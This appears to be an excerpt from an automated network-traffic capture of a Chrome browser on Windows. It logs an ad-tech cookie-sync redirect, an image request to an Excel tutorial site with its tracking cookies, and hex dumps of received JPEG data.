2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 2f 65 2f a1 cd 53 8f b5 5f 53 d4 10 b9 3c 86 6d 4d 84 5c 26 6c 1b 57 60 b8 d5 3b 9d 22 ba 1f 8a 86 5b 60 37 5c c1 b9 b9 5c 1a 57 40 f0 37 94 a9 8e bb 7d 4e a1 28 2e 2c 90 15 d9 9b 53 d6 a2 07 6b ae 33 f6 21 39 68 4d eb 36 02 ad 52 a4 9a d4 86 a4 da 23 a6 a8 d4 07 6a 61 36 20 05 f6 a4 62 55 1c 1b 49 ba 85 7c 8f 98 1b 6c 0a 78 53 49 b4 ca 55 2b bf 42 46 2a b2 c1 ca 9d c5 88 8d c4 aa c3 71 36 76 c9 6d c4 d9 bf 59 79 bf 16 6b a1 dc f0 a2 cb 5c 58 96 a9 d8 e4 f2 1c 6c 0d 8e 37 54 6f 5d 5a 49 b3 d2 1d 8c 86 9f 74 a4 86 26 a2 64 6f 0b 06 69 2c c4 e0 95 bb 1e 01 ef a2 35 2d 20 d9 c0 ac ed b8 fb 6d 6e 13 6a 75 47 8d b9 8f 07 84 71 69 e2 ba 96 58 99 3d 64 86 f2 76 e8 5b e5 97 5d 54 f3 db bf bb 58 a0 ff 00 6d 27 a2 54 e4 58 8b 2a 19 d8 8b 5d 57 f3 c0 27 2d 62 64 fc Data Ascii: /e/S_S<mM\&lW`;"[`7\\W@7}N(.,Sk3!9hM6R#ja6 bUI\|lxSIU+BFq6vmYyk\Xl7To]ZIt&doi,5- mnjuGqiX=dv[]TXm'TX]W'-bd
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: f1 76 7a 21 48 28 fc bf ef 1d 07 8b b3 d1 52 0a ea e8 7a c6 1b e0 c3 e8 bf 40 20 82 09 49 80 82 08 20 00 82 08 20 00 82 08 20 00 82 08 20 00 82 08 20 00 82 08 20 00 82 08 20 00 99 63 7e f3 62 1e 2d 27 a2 53 d4 cf 1a f7 9a bf c5 e4 f4 4a 00 f0 34 67 b0 6f 81 59 f4 74 fd 5c e9 83 9f f7 2d 55 76 7b 86 f8 14 ee 45 94 c7 9c 30 97 72 54 35 6e 49 66 83 8e e6 07 49 5c f5 cd 2c 8d 31 ef 47 3b 81 61 55 d8 31 73 1e c5 d9 d8 a8 78 3b 56 14 7c 26 11 77 2c 4e 59 d1 13 99 a9 78 58 9c 1a 36 95 98 e3 19 56 a6 a6 47 1d 4b 85 ac ca f6 4d b5 c4 2e 0f a7 85 db c3 56 bd 08 c2 9c 72 b4 99 46 a6 12 52 e9 26 8a b6 46 c0 dd 86 b5 a5 c3 6f d8 b5 cc 2a a4 36 31 b5 53 e1 11 41 ee 48 09 fc 38 a8 84 58 39 36 a4 62 fa 17 70 4a 58 7e 85 d8 55 34 8d e9 bd 4c e3 54 ed 55 61 8e 9e d9 07 63 Data Ascii: vz!H(Rz@ I c~b-'SJ4goYt\-Uv{E0rT5nIfI\,1G;aU1sx;V\|&w,NYxX6VGKM.VrFR&Fo*61SAH8X96bpJX~U4LTUac
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: a3 fc 25 48 61 f5 3c 88 fa 8a 76 8d aa ec 70 c6 f2 05 c2 7c 35 a0 6e 0a 68 d1 6d 75 21 78 89 27 d0 a7 f0 52 34 ed d8 96 c0 79 54 d5 55 1b 40 3b 14 71 84 05 52 ae 78 3b 17 69 4a 33 8d c9 ec bd 29 76 1e 1a dd ed 71 05 4a 07 3c 8d ca 23 09 85 d8 55 41 90 0d 78 dd ee d8 78 d5 90 e2 98 58 8f 5a 3a 79 5d 25 bd c9 d8 01 5e 67 84 f0 ca ce 09 54 f2 b5 ff 00 74 b1 dc e2 ea 25 51 b8 2b a6 57 b3 34 84 43 04 47 dd 6d 7d bb ca 8b 5b c2 30 38 ea ab d5 7d 2c 95 f3 be 79 5f b5 dc 43 70 1c 81 43 62 78 20 92 17 34 12 2e 37 85 45 f8 5e 32 a5 77 35 0d 19 72 9e 2e 8d 1a 39 64 f5 30 dc dd 98 5e 31 17 31 82 e1 82 d7 55 aa 5c 7e 43 5d 1d ef ee 95 e7 34 64 a8 a3 a9 7b b5 dd b7 6a a8 b3 2a 08 ea 9a e1 23 b6 15 ea be 19 80 ab 0c 3c 56 53 cc fc 57 c5 68 71 e4 a5 2b 33 64 ca 15 6c 9a Data Ascii: %Ha<vp\|5nhmu!x'R4yTU@;qRx;iJ3)vqJ<#UAxxXZ:y]%^gTt%Q+W4CGm}[08},y_CpCbx 4.7E^2w5r.9d0^11U\~C]4d{j*#<VSWhq+3dl
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: dc 2b 79 48 7c 4a 70 db a8 c8 35 aa 1c 03 45 d3 9c 45 85 f7 b3 82 7f 97 30 f6 90 5c e2 09 52 f2 d1 94 b3 4b a2 2b 54 c4 54 50 c9 0e ac e4 fc 56 32 08 be d4 50 56 eb bb 62 a0 8c ca 4b fd d1 03 c0 a5 68 f1 b7 10 1c 0d d5 1a 9e 1d 04 b4 27 87 ed 53 7e a5 dd b2 17 37 7a 6d 5a fd 58 cd ca 89 83 1f b3 6c e6 dd 36 ae c5 cc cd 20 6c 55 a9 f8 73 52 bd 8b 72 fd a1 a5 38 7b c5 7b 1e 8d b5 33 38 0d aa ab 36 15 23 5f 70 05 95 cc 40 c9 a4 2e 24 14 ed b8 5c 2e 17 20 2d 75 3a 94 d6 58 9c cd 75 4a bc 9d 49 15 ac 20 be 99 a0 10 53 9c cf 57 c2 65 8c 4d bf ed 9f f6 29 89 a8 61 8c 12 00 55 bc d7 33 19 80 e2 4c 6e f3 4e ff 00 b1 5c a0 e5 24 f3 10 f1 61 45 a8 a3 0f 61 ec ec 78 d5 db 44 8d b6 92 72 d9 ff 00 77 ff 00 a3 95 29 9e e9 5d f4 4b b7 49 19 6f c6 ff 00 f4 72 ad 53 e1 4b Data Ascii: +yH\|Jp5EE0\RK+TTPV2PVbKh'S~7zmZXl6 lUsRr8{{386#_p@.$\. -u:XuJI SWeM)aU3LnN\$aEaxDrw)]KIorSK
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 3b 14 8e b2 b9 0b e6 fc 3c ec 9f cc 87 59 6c 86 3f cb f0 f3 af fe 65 77 44 8c a8 4e 1c 36 29 3d 66 32 1f c8 10 f3 8f fe 64 a1 a1 bc 8a 3f 40 c5 ce 3f a5 5d 10 46 54 1c 38 6c 53 06 87 b2 38 dd 81 45 ce 3f a5 28 68 87 24 0f d0 51 73 8f e9 57 04 69 32 a0 e1 43 62 a0 34 49 92 87 e8 38 b9 c7 f4 ae f4 9a 2f c9 f4 73 b2 78 b0 4a 7e 11 86 ed d6 2e 70 07 c0 4d 95 a1 04 65 5b 07 0a 1b 20 c0 00 58 20 8a e8 d2 8f 0f 89 41 67 cf c4 cc 6b c4 e4 f4 4a 9c 50 59 f3 f1 33 1a f1 39 3d 12 91 f4 1b 3f 75 9e 69 c9 9f 8d b8 37 8e 45 e9 05 eb 45 e3 ec 1b 11 f5 a7 16 a3 c4 38 3e 17 a9 a6 64 ba 97 b6 b6 a9 bd ae b5 9f 6c 4b be 6f 8f ac ff 00 f9 50 53 92 4b 53 37 09 5a 14 d3 52 66 d0 82 c5 fd b1 2e f9 be 3e b3 ff 00 e5 0f 6c 4b be 6f 8f ac ff 00 f9 52 71 22 5b e6 e9 6e 55 f4 df f8 Data Ascii: ;<Yl?ewDN6)=f2d?@?]FT8lS8E?(h$QsWi2Cb4I8/sxJ~.pMe[ X AgkJPY39=?ui7EE8>dlKoPSKS7ZRf.>lKoRq"[nU
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: e1 49 c5 9f 6a 97 2e 10 d4 bd a2 cd 71 09 e6 33 4e 78 7d 6e 54 d2 28 3b cb 46 92 cd 14 73 18 af 2d 59 12 2d 80 9a bd dc 6a d7 87 53 9e 0c 28 c8 e8 bf b4 ed 1c 6a d5 87 d2 f6 03 62 c4 a9 3d 0e b7 0b 41 dd 8c 9f 4e 75 4a ad e3 74 85 cd 75 82 be 3e 97 b1 3b 14 06 2b 47 72 76 25 a3 52 cc 5c 66 17 34 1a 29 f8 5d 23 9b 30 2e 16 56 ca 56 16 c7 bb 89 31 a6 a4 0d 97 72 9c 8a 11 c1 fd 0a 7a b3 bb 29 e0 70 dc 38 d9 10 58 93 8e ab 82 a1 67 18 ad 80 e2 4e be de 08 fd ab 40 c5 63 b0 2a 8f 9c 1b ad 96 f1 23 6d a2 2f e2 13 e8 fa 8c ad 1b d5 82 f9 af d4 c6 23 1b 55 df 44 c3 57 48 79 70 f2 d6 0f 41 ca 97 13 76 f7 95 d7 45 64 0d 22 e5 c0 3e 38 3d 17 25 aa bd 94 be 87 51 49 fb 68 fd 4f 60 a2 46 89 73 e7 46 04 10 41 00 04 10 41 00 1a 01 12 31 b1 00 04 68 91 a0 00 82 08 20 03 Data Ascii: Ij.q3Nx}nT(;Fs-Y-jS(jb=ANuJtu>;+Grv%R\f4)]#0.VV1rz)p8XgN@c*#m/#UDWHypAvEd">8=%QIhO`FsFAA1h
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 4b 70 e6 a3 b1 ee 60 82 f0 c7 5c cc eb f3 ab 19 fa d3 fa 51 75 cb ce 9f 3a 71 9f ad bf a5 1c a4 b7 0e 66 27 ba 10 5e 17 eb 93 9d 3e 74 e3 3f 5b 7f 4a 07 48 f9 c8 ff 00 9a 71 9f ad bf a5 1c a4 b7 13 9a 8e c7 ba 50 5e 14 eb 8b 9c 7e 74 63 3f 5b 7f 4a 07 48 99 c0 ff 00 9a 31 9f ae 49 d2 95 61 25 b8 73 51 d8 f7 62 0b c2 5d 70 73 71 df 99 f1 9f ae 49 d2 8b d9 f6 6c f9 cd 8c fd 72 4e 94 72 92 dc 4e 6a 3b 1e ee 41 78 47 d9 ee 6c f9 cb 8c fd 72 4e 94 5e ce b3 51 df 99 31 8f ae 49 d2 97 94 96 e1 cd c7 63 dd f7 41 78 43 d9 c6 69 f9 c7 8c 7d 72 4e 94 3d 9a e6 73 bf 31 63 1f 5c 93 a5 1c a4 b7 0e 6e 3b 1e ef 41 78 43 d9 8e 64 3f e6 0c 5f eb 92 7f 32 3f 65 d9 88 ef c7 f1 6f ae 49 fc c9 79 39 6e 37 9c 8e c7 bb 97 2a 9f c1 e5 fd 43 f6 2f 0b 0c d7 98 0f e9 dc 5b eb 92 7f Data Ascii: Kp`\Qu:qf'^>t?[JHqP^~tc?[JH1Ia%sQb]psqIlrNrNj;AxGlrN^Q1IcAxCi}rN=s1c\n;AxCd?_2?eoIy9n7*C/[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.17	50094	54.159.170.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	766	OUT	GET /d/sync/cookie/generic?partner=gumgum&cspid=9&append=1&cb=${ADELPHIC_CACHE_BUSTER}&gdpr=&gdpr_consent=&us_privacy=1---&redirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dvnt%26i%3D HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	460	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 11 Apr 2024 21:27:00 GMT Location: https://usersync.gumgum.com/usersync?b=vnt&i=d3c52a71-4626-42f8-b765-7c4caff9dd34 Set-Cookie: cu=d3c52a71-4626-42f8-b765-7c4caff9dd34\|1712870820698; Path=/; Domain=ipredictive.com; Expires=Fri, 11 Apr 2025 21:27:00 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: b4aa316e-6e2e-46ae-9a7b-cb708a0c77a5 Content-Length: 108 Connection: Close
2024-04-11 21:27:00 UTC	108	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 76 6e 74 26 61 6d 70 3b 69 3d 64 33 63 35 32 61 37 31 2d 34 36 32 36 2d 34 32 66 38 2d 62 37 36 35 2d 37 63 34 63 61 66 66 39 64 64 33 34 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://usersync.gumgum.com/usersync?b=vnt&i=d3c52a71-4626-42f8-b765-7c4caff9dd34">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.17	50116	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	2360	OUT	GET /wp-content/uploads/Excel-MI-Dashboards-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:00 UTC	911	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: image/jpeg Content-Length: 20053 Connection: close CF-Ray: 872e0ee56a384327-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-4e55" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2A%2BSdpUQMqVwEXA7e8dhldp44Gi36grMB8z52bqlFH5EFoyOvSEo1hDjVo5%2BKeO7c7oUJVjOit2KntRSWy37zXhSY%2BUOKzd%2Bvq%2FMpWKXyc%2FPY7NKDjYhV8QEzler5KEMt6I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 00 07 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 04 05 06 07 03 08 ff c4 00 59 10 00 01 03 02 02 04 04 0d 0e 0b 07 04 02 03 00 00 01 00 02 03 04 05 06 11 07 12 21 31 13 41 51 d1 14 22 32 52 53 61 71 81 91 92 93 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"Y!1AQ"2RSaq
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 3b 43 4e 61 33 e9 9a 72 20 ac ac 62 db e1 cf ff 00 c9 d5 1f fb 87 9d 17 b2 6b c3 b6 ba e1 50 7b af 2b 46 ad 43 8f 26 8c 2d 47 81 bb 1e e8 cb 06 ae d7 14 b6 b8 ac 93 d9 25 db e3 d3 f8 c5 01 88 6e df 1f 9f c7 2a c2 d6 2e c5 47 fd 9e b3 de 8d 78 38 a5 07 15 90 0c 45 75 1f b7 cf e3 94 63 12 dd 86 ce 8f 9f c7 3c e9 dc 62 ec 33 fe 1d b3 de 8d 79 d9 94 6c 24 2c 8b d9 35 d7 e3 d3 78 c5 17 b2 7b a8 fd ba 7f 1c a7 71 91 ec 27 fc 39 6f bd 1b 3c 52 39 a7 30 72 21 4b db ae 92 34 ea bb 72 c6 ac 12 62 5c 41 1c f2 51 d7 49 a9 06 40 9d 67 12 49 cf 60 03 b8 9a 57 5f ef f6 ba 81 0c d5 f3 0d 66 eb 35 cd 79 da 12 4e f8 ce 2f 31 e4 4f 47 80 6a b4 ed 4d 4d 61 ff 00 4f fe 9e 87 65 69 77 1a e8 26 7b b8 d7 9c 9b 8b af 3b fd 74 aa f2 87 9d 18 c6 37 bd e2 eb 56 7f ee bb 9d 52 70 8f Data Ascii: ;CNa3r bkP{+FC&-G%n*.Gx8Euc<b3yl$,5x{q'9o<R90r!K4rb\AQI@gI`W_f5yN/1OGjMMaOeiw&{;t7VRp
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: d7 e4 e4 42 d6 d7 dc 38 19 f6 31 de 88 ed a1 d1 1d b5 b1 fb 95 31 07 ca 1b 5f 93 91 0f 72 a6 20 f9 43 6b f2 72 73 25 e3 ab ee 27 01 3e c6 36 2a 0f 2a 58 a9 ed ad 87 dc a9 88 3e 50 da fc 9c 9c c8 7b 95 b1 0f ca 0b 5f 93 93 99 2a d7 57 dc 4e 02 ce c6 40 2a 49 e3 47 d1 07 95 6b e3 d4 af 88 7e 50 5a fc 9c 9c c9 43 d4 b1 88 3e 50 5a fc 9c 9c c9 78 fa fb 8d fd 9f 67 63 20 6d 49 e5 4b 6d 51 1c 6b 5c 1e a5 9c 42 3f 7f da bc 49 39 91 fb 96 f1 10 fd fd 6a f1 24 e6 4e 5a fa fd c3 5f 87 59 ed 32 66 d5 9e 54 b6 d5 9e 55 ab 8f 52 ee 23 1f bf 6d 5e 24 9c c8 c7 a9 7f 11 8f df b6 af 16 4e 64 f5 e2 35 fb 86 3f 0c b3 da 65 1d 14 4f 1a 02 a1 6b 23 d4 c5 88 c7 ef cb 57 8b 27 32 3f 73 1e 22 1f bf 2d 5e 2c 9c c9 7f 68 d5 ee 1b fb 36 df 69 93 09 03 92 b5 b6 2d 65 be a6 6c 44 df Data Ascii: B811_r Ckrs%'>6*X>P{_WN@*IGk~PZC>PZxgc mIKmQk\B?I9j$NZ_Y2fTUR#m^$Nd5?eOk#W'2?s"-^,h6i-elD
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 49 5d 35 c5 8e a1 92 9f 37 47 1e 7a c6 66 67 b3 2f f1 72 85 99 d5 e1 db e6 90 a7 ba e2 7b 75 a6 3a 7a 50 e2 e1 1b 36 19 32 df aa 3e 13 b2 da 7b 69 8e 5d 8c dd 46 bd e1 3d 3f c4 df a1 e8 fa 4a b8 6b a9 62 aa a7 90 49 0c cc 12 31 c3 e1 34 8c c1 5d 73 50 f8 39 a5 b8 52 ce d7 02 08 a3 88 10 78 ba 40 a6 13 d1 a5 07 ba 29 b0 66 80 28 20 81 c1 a0 89 1a 00 08 d1 20 10 01 a3 44 82 00 34 68 91 84 00 02 34 41 1a 00 08 20 82 00 08 20 82 00 8f c4 3f 98 6e 3f 56 93 d1 2a b1 a2 3f d1 d9 fe b2 ef 44 2b 3e 22 fc c3 71 fa b4 9e 89 55 3d 17 4c ea 6c 29 59 33 62 7c ce 8e 67 b8 46 ce a9 d9 34 6c 09 8f e6 46 4d ef 1a fa db f6 c8 b6 5f 2f b4 76 0a 17 d5 d6 3f 20 36 31 83 aa 7b b9 00 55 8b 45 ae 5b cd 73 31 06 27 7c 71 03 b6 8e 8e 47 00 d8 db ca 41 de 57 5b 25 86 b3 10 57 b6 ff Data Ascii: I]57Gzfg/r{u:zP62>{i]F=?JkbI14]sP9Rx@)f( D4h4A ?n?V*?D+>"qU=Ll)Y3b\|gF4lFM_/v? 61{UE[s1'\|qGAW[%W
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: af 8a d0 f8 ae fe a5 23 a5 a9 4c d6 fb 34 8e c8 17 87 b8 e5 db 0d 59 c8 82 5e c4 ff 00 14 ad 17 4a 51 bd d6 bb 26 ab 5c 72 6b b3 c8 7f 85 aa 34 db 8b c9 81 56 aa fb f4 97 ab 64 de 14 7f 52 bf a3 5f d2 fa 3f 9b 27 a2 53 6c 7b fa 5d 72 fa 41 e8 84 ef 46 d1 48 dc 5d 48 5c c7 01 aa fd a4 7f 84 a6 f8 f2 19 1d 8b 6e 44 46 f2 0c 83 68 1f e1 09 3f c2 56 69 fe ce 5f eb fe 85 db 43 ff 00 99 ab 7e b1 ff 00 10 af 8a 89 a2 16 39 96 7a d0 e6 96 fe 11 c6 32 f8 21 5e d4 d0 f9 4e c7 c1 ff 00 b9 d7 f4 fe a0 4c 6f db 6c 57 1f aa cb e8 14 fb 89 32 be fe 64 b8 7d 5a 5f 40 a7 9a 47 83 22 77 bd b7 b8 15 ab 46 8e ff 00 ad ec ff 00 58 0a a5 19 e9 1b dc 0a d3 a3 73 96 36 b3 fd 61 ab 6e f7 f8 32 fa 3f d0 e7 e0 bf 11 7d 4f 54 c2 35 b6 ae ce 21 81 26 98 0d 54 8a 87 64 0a e0 ab be 19 Data Ascii: #L4Y^JQ&\rk4VdR_?'Sl{]rAFH]H\nDFh?Vi_C~9z2!^NLolW2d}Z_@G"wFXs6an2?}OT5!&Td
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 63 1b 55 3e 11 14 1d 49 01 3f 86 ea 21 19 07 26 d9 18 be 85 dd 12 96 9f a1 76 15 4d 23 7a 6f 53 38 d5 3b 55 58 5f 4f 5c 83 af 5a c3 69 55 bc 85 9c 9a d6 eb b7 43 09 73 1c d7 b5 b2 66 99 74 33 4b 48 49 35 ec 71 da e0 8d b5 8c e5 57 61 6a 82 c1 81 76 8f cc 79 68 60 cb bc 92 1c 9b 99 3d a4 e5 ae b8 49 11 95 b4 f3 16 0d e4 34 e4 a4 f0 d5 be 17 87 54 c8 c6 ea 34 e4 d6 e5 b0 9e 52 ad 31 d6 96 6c 00 65 c9 c4 bc e6 8f 1e 9d f1 df 14 a2 9f 4c f3 7f d0 f4 1b bc 39 57 2d b9 cb 46 72 fb ac d1 9d 57 07 03 c8 57 27 5e a4 1c aa c5 8b a8 a2 64 8c a8 85 81 ad 94 1c c0 e2 70 55 09 25 2d cd 3e af ed 0a 72 75 58 b1 25 ff 00 b9 44 b1 f0 8d d0 53 8b e4 c7 5e bf 1e 37 8f 0a 2f 5f 09 1d 58 f0 aa 7d e6 b0 53 54 e4 d3 90 70 cd 46 36 f2 5d 20 66 be f2 b7 69 bf cc 8a 94 4c 8b a0 ab Data Ascii: cU>I?!&vM#zoS8;UX_O\ZiUCsft3KHI5qWajvyh`=I4T4R1leL9W-FrWW'^dpU%->ruX%DS^7/_X}STpF6] fiL
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 71 84 25 aa ac d5 e1 83 38 6a 87 8d ee 7f 13 07 99 65 b6 0c 75 5b 6e c6 a3 11 ce f2 f3 34 a7 a2 1b c4 e8 ce f6 f7 86 59 77 02 99 3f 2d 61 fa 97 e1 38 e9 62 94 ba be a3 0c 51 61 ad c3 97 da bb 75 71 73 a5 63 c9 12 1f d6 34 ed 0e ef a8 d6 af 40 e9 5b 08 45 8b f0 d4 77 cb 60 6c b5 74 b1 f0 ac 73 36 f0 d0 91 99 1d bc b7 8e fa f3 fb 42 86 71 da cc cd 65 1e 4c f1 e8 fa 0a 73 dd 14 52 3d 87 27 35 a4 8f 02 8b 17 9a de c8 3c 50 a4 e6 fc 9e 5f 98 ef 32 af 80 88 74 1d a3 ae 32 8b dc b2 4f d9 6e d5 72 54 3c 39 ed 39 37 ad 1c aa 76 2b 85 4f 5c df 14 2a bd 84 7e 12 ff 00 99 fc d5 8e 36 a5 65 6d 65 70 53 e8 3f 8a e1 53 d7 8f 14 27 51 dc 2a 7a f1 e0 09 84 4c 4e a2 6a 6b 32 e7 18 f6 1f c5 5f 53 d9 3e e0 ad 5a 3c aa 9e 4c 5b 6f 6b df 98 2e 77 17 f8 4a a8 c4 d5 6c d1 d3 72 Data Ascii: q%8jeu[n4Yw?-a8bQauqsc4@[Ew`lts6BqeLsR='5<P_2t2OnrT<997v+O\~6emepS?S'QzLNjk2_S>Z<L[ok.wJlr
2024-04-11 21:27:00 UTC	1369	IN	Data Raw: 09 0f 0e 3c 65 37 7a 21 e2 2b ce 32 69 c8 05 92 d8 fd 50 76 da 99 1b 1d e2 db 35 10 3f ad 85 dc 23 47 74 6c 3e 75 a7 5a ee f4 37 aa 36 56 5b aa a2 a9 a7 78 d8 f8 ce 7d e3 c8 7b 45 0a 49 f4 1d 5d b0 9f ca c7 88 20 89 38 90 3c d3 5b 96 db 6d 57 d0 bf d1 29 ca 6f 71 fc df 54 3f ca 7f 98 a0 0f 01 01 d2 a9 3c 14 ed 5c 5d 67 3c 95 91 7a 41 46 fc 04 f3 0b bf 53 13 da dd c9 57 17 a4 16 d4 96 62 91 89 17 89 36 7a 2e fb 57 95 66 c3 da 51 ae 02 4d b9 66 50 bc d4 35 d5 23 3d e1 2a 8a 66 3c 67 96 d5 76 a8 6d ad 60 a5 a8 b7 73 79 12 cb 6c 4f c9 ce 60 d6 4f e8 2d cc 8a 76 bc 0d cb ac 65 80 66 72 4e 61 95 b9 f1 2a 77 a9 c8 87 4e eb 89 6c b4 b1 85 8d d8 15 a6 91 ec 11 00 08 54 cb 6c e0 30 6d 4f fd 71 31 f5 2e 55 21 17 1e 4c d2 57 25 cc b2 4f 2b 5a d7 38 b8 65 92 ae 57 38 Data Ascii: <e7z!+2iPv5?#Gtl>uZ76V[x}{EI] 8<[mW)oqT?<\]g<zAFSWb6z.WfQMfP5#=f<gvm`sylO`O-vefrNawNlTl0mOq1.U!LW%O+Z8eW8
